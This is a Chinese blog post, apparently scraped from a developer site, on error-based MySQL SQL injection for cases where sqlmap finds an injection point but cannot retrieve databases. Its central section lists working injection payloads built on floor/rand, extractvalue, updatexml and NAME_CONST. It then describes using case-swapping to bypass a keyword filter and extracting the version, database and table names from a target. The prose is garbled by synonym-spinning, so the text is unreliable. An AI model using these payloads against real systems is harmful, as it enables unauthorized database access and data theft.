mysql sql注入分析_SQL注入之mysql显示错误的注入分析

在咱们现实渗入渗出中,明显发明一个注入点,本认为丢给sqlmap就能够了,成果sqlmap只表现确实是注入点,然则数据库却获得不了,如图1所示,这时候咱们能够应用手工停止注入,断定出过滤规矩和根本过滤环境,然后再抉择对应的sqlmap剧本(假如有的话),本文主如果报告若何经由进程mysql函数报错来停止注入,别的若何应用手工停止全程注入的应用进程,假如你晓得sqlmap外面有对应的剧本的话,烦请告诉一下,感谢!。

107190_0.jpg

图1 获得数据库失败

此时咱们能够斟酌下是不是显错注入,对付显错注入咱们能够应用mysql显错注入函数停止查问数据库信息。

经由进程floor报错:

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

and (select count(*) from (select 1 union select null union select !1)x group by concat((select version()),floor(rand(0)*2)))

经由进程ExtractValue报错:

and extractvalue(1, concat(0x7f, (select version()),0x7f))

经由进程UpdateXml报错:

and 1=(updatexml(1,concat(0x7f,(select version()),0x7f),1))

经由进程NAME_CONST报错:

and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)

经由进程差错的两重查问:

or 1 group by concat_ws(0x7f,version(),floor(rand(0)*2)) having min(0) or 1

在这里咱们以UpdateXml报错停止实战演示,如图2是一个显错注入点。

107190_1.jpg

图2 显错注入点

此时咱们将经由进程UpdateXml来停止SQL注入,这里因为对关键字停止了过滤,是以咱们必要应用巨细写来停止绕过,起首咱们查问数据库版本,如图3所示,胜利获得了数据库版本。

107190_2.jpg

图3 获得数据库版本信息

获得数据库名,如图4所示。

107190_3.jpg

图4 获得数据名

获得表名,如图5所示。

107190_4.jpg

图5 获得表名

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值